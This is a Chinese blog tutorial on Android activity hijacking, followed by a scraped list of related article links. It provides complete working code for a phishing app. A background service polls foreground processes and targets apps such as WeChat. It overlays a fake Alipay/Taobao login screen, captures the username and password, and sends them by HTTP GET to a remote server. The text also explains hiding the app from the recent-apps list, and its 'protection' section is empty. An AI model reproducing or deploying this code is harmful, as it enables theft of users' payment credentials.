activity劫持学习与复现
前言
activity劫持原理
1、在启动activity的时候,加入标志位FLAG_ACTIVITY_NEW_TASK,就能够使它置于栈顶并立马呈现给用户。
2、Android中程序可以枚举当前运行进程而无需声明其他权限。
3、AndroidMainfest配置文件中加入andorid:excludeFromRecent="true"这一项可以防止我们的恶意程序在最近访问列表中出现(这一项实际不影响劫持的发生,只是增加其危险性,防止被发现)
这样,我们就可以启动一个服务,不停的扫描当前运行的进程,一旦发现当前进程正是我们想要劫持的,并运行在前台,我们立马唤起自己的钓鱼活动界面并置于栈顶覆盖掉之前的活动,获得用户敏感信息并发送到服务器。
启动服务有两种实现方式,我们可以启动一个活动,通过活动去启动服务,或者在配置文件中注册一个监听开机广播的权限,然后在广播接收器中启动服务。
activity劫持实现
public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); startService(new Intent(this, HijackingService.class)); Log.i("hijacking", "activity启动劫持service"); } }
2、编写HijackingApplication类,代码如下:
public class HijackingApplication{ private static List<String> hijackings = new ArrayList(); public static void addProgressHijacked(String paramString){ hijackings.add(paramString); } public static void clearProgressHijacked(){ hijackings.clear(); } public static boolean hasProgressBeHijacked(String paramString){ return hijackings.contains(paramString); }
}
说明:这个类的主要功能是,保存已经劫持过的包名,防止我们多次劫持增加暴露风险。
3、编写HijackingService,代码如下:
public class HijackingService extends Service{Handler handler = new Handler();private boolean hasStart = false;HashMap<String, Class<?>> mSadStories = new HashMap();Runnable mTask = new Runnable(){private void hijacking(String paramAnonymousString){//判断是否已经劫持过,对于劫持过的程序跳过if (!HijackingApplication.hasProgressBeHijacked(paramAnonymousString)){Intent localIntent = new Intent(HijackingService.this.getBaseContext(), (Class)HijackingService.this.mSadStories.get(paramAnonymousString));localIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);HijackingService.this.getApplication().startActivity(localIntent);HijackingApplication.addProgressHijacked(paramAnonymousString);Log.w("hijacking", "已经成功劫持");}}@Overridepublic void run() {// TODO Auto-generated method stubActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE); List<RunningAppProcessInfo> appProcessInfos = activityManager.getRunningAppProcesses(); //正在枚举进程for (RunningAppProcessInfo appProcessInfo : appProcessInfos) { // 如果APP在前台//Log.w("打印出当前的processName", appProcessInfo.processName); if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {//如果包含在我们需要劫持的map中if (mSadStories.containsKey(appProcessInfo.processName)) { Log.w("准备劫持", appProcessInfo.processName); hijacking(appProcessInfo.processName); } else { //Log.w("hijacking", appProcessInfo.processName); } } } handler.postDelayed(mTask, 1000); }};@Overridepublic IBinder onBind(Intent intent) {// TODO Auto-generated method stubreturn null;}@Override public void onCreate() { super.onCreate(); mSadStories.put("com.example.hello", AlipayStoryActivity.class); //初始化需要劫持的包名mSadStories.put("com.tencent.mm", AlipayStoryActivity.class); //初始化需要劫持的包名handler.postDelayed(mTask, 1000); } @Override public boolean stopService(Intent name) { hasStart = false; Log.w("hijacking", "劫持服务停止"); HijackingApplication.clearProgressHijacked(); return super.stopService(name); }
}
说明:这个类在启动的时候将需要劫持的包名以及其对应的恶意activity保存在map对象中,定期循环遍历进程名,如果未劫持则进行劫持,并将其保存下来。这里我们使用的是测试恶意activityAlipayStoryActivity。
4、编写恶意测试活动activityAlipayStoryActivity
public class AlipayStoryActivity extends Activity { private EditText name; private EditText password; private Button mBtAlipay; private Button mBtTaobao; private Button mBtRegister; private TextView mTvFindpswd; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); this.setTheme(android.R.style.Theme_NoTitleBar); setContentView(R.layout.alipay); mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay); mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao); mBtRegister = (Button) findViewById(R.id.alipay_bt_register); mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd); mTvFindpswd.setText(Html.fromHtml("[u]找回登录密码[/u]")); mBtAlipay.setSelected(true); name = (EditText) findViewById(R.id.input_name); password = (EditText) findViewById(R.id.input_password); } public void onButtonClicked(View v) { switch (v.getId()) { case R.id.alipay_bt_login: HandlerThread handlerThread = new HandlerThread("send"); handlerThread.start(); new Handler(handlerThread.getLooper()).post(new Runnable() { @Override public void run() { // 发送获取到的用户密码 Log.i("hijacking", name.getText().toString());Log.i("hijacking", password.getText().toString());Log.i("hijacking", "支付宝");SendUtil.sendInfo(name.getText().toString(), password .getText().toString(), "支付宝"); } }); moveTaskToBack(true); break; case R.id.alipay_bt_alipay: chooseToAlipay(); break; case R.id.alipay_bt_taobao: chooseToTaobao(); break; default: break; } } private void chooseToAlipay() { mBtAlipay.setSelected(true); mBtTaobao.setSelected(false); name.setHint(R.string.alipay_name_alipay_hint); mTvFindpswd.setVisibility(View.VISIBLE); mBtRegister.setVisibility(View.VISIBLE); } private void chooseToTaobao() { mBtAlipay.setSelected(false); mBtTaobao.setSelected(true); name.setHint(R.string.alipay_name_taobao_hint); mTvFindpswd.setVisibility(View.GONE); mBtRegister.setVisibility(View.GONE); }
}
说明:重点我们可以看点击按钮那部分,将获取到的内容调用SendUtil.sendInfo方法发送。我们在这个文件中使用了很多布局文件,大家为了测试方便,也可以自己写一个测试的登录activity
5、编写SendUtil,代码如下:
public class SendUtil{public static void sendInfo(String paramString1, String paramString2, String paramString3){HttpClient httpClient = new DefaultHttpClient(); HttpGet httpGet = new HttpGet("http://10.0.0.33:8080/spring/test/receiver.do?a="+paramString1+"&b="+paramString2+"&c="+paramString3); try {HttpResponse httpResponse = httpClient.execute(httpGet);Log.i("hijacking", httpResponse.getStatusLine().getStatusCode()+"");} catch (ClientProtocolException e) {// TODO Auto-generated catch blocke.printStackTrace();} catch (IOException e) {// TODO Auto-generated catch blocke.printStackTrace();} }
}
说明:这个类需要添加两个jar包,我使用的是httpclient-4.2.5.jar,一个httpcore-4.2.4.jar
6、编写AndroidManifest.xml文件
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"package="com.example.activityhijacking"android:versionCode="1"android:versionName="1.0" ><uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <uses-sdkandroid:minSdkVersion="19"android:targetSdkVersion="22" /><applicationandroid:allowBackup="true"android:icon="@drawable/ic_launcher"android:label="@string/app_name"android:theme="@style/AppTheme" ><activityandroid:name=".MainActivity"android:label="@string/app_name" ><intent-filter><action android:name="android.intent.action.MAIN" /><category android:name="android.intent.category.LAUNCHER" /></intent-filter></activity><activityandroid:name=".demo.AlipayStoryActivity"android:label="@string/app_name" android:exported="true"></activity><service android:name=".service.HijackingService" /></application></manifest>
说明:这里大家注意修改自己的组件对应包名。
防护
参考链接
activity劫持学习与复现相关推荐
- Androidz之Activity概要学习
Androidz之Activity概要学习 1. Activity类概述 Activity(活动)是一个单独的.能获取焦点的,且能与用户交互的东西.所以我们通常在Activity类中的onCr ...
- android webview 劫持,安卓包风险安全监测提示存在Activity劫持、WebView远程代码执行,请问怎么解决?...
挺着急的,请问这个怎么解决 1.Activity劫持 用例名称:Activity劫持 风险系数:高 风险编号:NESUN-2016-82091, CWE-94, 风险描述:攻击者劫持目标Activit ...
- 复现计算机论文模型,深度学习模型复现难?看看这篇句子对模型的复现论文
原标题:深度学习模型复现难?看看这篇句子对模型的复现论文 在碎片化阅读充斥眼球的时代,越来越少的人会去关注每篇论文背后的探索和思考. 在这个栏目里,你会快速 get 每篇精选论文的亮点和痛点,时刻紧跟 ...
- 利用九天深度学习平台复现SSA-GAN
目录 一.算力领取 1.1.领取算力 二.复现SSA-GAN 2.1.创建实例 2.2.下载代码和数据集 2.3.下载预训练的 DAMSM 模型 2.4.环境配置 2.5.训练 最后 Semantic ...
- 警惕另类Activity“劫持”
AVL移动安全团队最近发现一类木马私自发送扣费短信,上传用户隐私到控制服务器,并且采用了一种Activity劫持手段诱骗用户安装和防止卸载,给用户手机安全带来威胁. 诱骗安装 木马被安装后,监听重启, ...
- android怎么网络劫持,Android安全——Activity劫持
一.activity劫持简介 DEFCON-19上公布的https://www.trustwave.com/spiderlabs/advisories/TWSL2011-008.txt android ...
- android程序劫持持程序,安卓activity劫持测试工具开发
一.前言 在日常对Android apk安全测试过程中,有一个测试用例是界面劫持(activity劫持,安卓应用的界面是一层一层的,后启动的应用会在栈顶,显示在最前面),就是恶意apk可以不停枚举进程 ...
- win7 dll怎么在xp运行_微信DLL劫持反弹shell复现
网安引领时代,弥天点亮未来 写在前面: 最近刚好在做PPT的dll劫持测试,现在就随便拿一个程序来练练手.增加一下熟练度.本测试纯属学习测试过程,不可用于非法操作!!! 一.测试环境 工具下载地址: ...
- 【推荐算法 学习与复现】-- 逻辑回归算法族 -- LR
协同过滤仅仅使用有限的用户行为信息,逻辑回归算法模型大多引入用户行为.用户特征.物品特征和上下文特征等,从CF逐步过渡到综合不同特征的机器学习模型. (1)逻辑回归模型 将用户特征(年龄.性别等).用 ...
- 6-PACK论文学习及复现记录
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言 一.基本思想 1.1 创新点 1.2 两个变换 二.实现结构 1.基于注意力机制生成锚点特征 2.生成关键点(分对称类 ...
最新文章
- 按键精灵文字识别插件_按键精灵——如何实现办公自由(二)
- 远离客户陷阱小故事 转
- Github部署+Hexo搭建免费博客 next主题美化
- 1008 数组元素右移k位
- DotNetNuke(DNN) 中查询所有管理员的SQL语句
- css 布局什么时候用百分比_用手机拍视频学会这个布局方法,拍什么都好看
- bzoj1597: [Usaco2008 Mar]土地购买
- c语言编译器提示隐式声明,在C中使用“隐式声明功能”警告有什么含义?
- 局部立体匹配算法介绍及代码实现
- Oracle数据库:sql语言结构,数据查询语言DQL,select * from table;算术,别名,连接,去重等操作
- vue3 + vite + ts 设置 @ 路径别名
- tomcat启动“成功”,但是浏览器无法访问
- Ubuntu 20.10 引导修复(boot repair)
- Arduino控制WS2812灯带(灯环)
- 什么是编程?大道之行也,“编程”为公
- MobaXterm 是什么
- 浅析能耗监测系统在大型数据中心的应用
- HANA 存储过程 基础篇
- CSS学习笔记(狂神-完整版)
- C# ExecuteReader
热门文章
- ValueError: Error initializing torch.distributed using tcp:// rendezvous: port number missing
- linux服务器的外网IP查阅方式
- 49-从哥尼斯堡七桥问题开始
- 分布式和集中式版本控制工具-svn,git,mercurial比较分析
- 华为 eNSP启动设备AR1失败 错误代码40
- 系统封装失败遇到windows 无法分析或处理
- 大学计算机基础教程第12章软件技术基础
- 微信支付V3微信公众号支付PHP教程(thinkPHP5公众号支付)/JSSDK的使用
- 三星 OMNIA7/I8700 刷机 ROM集合
- 『市场基础变量计算』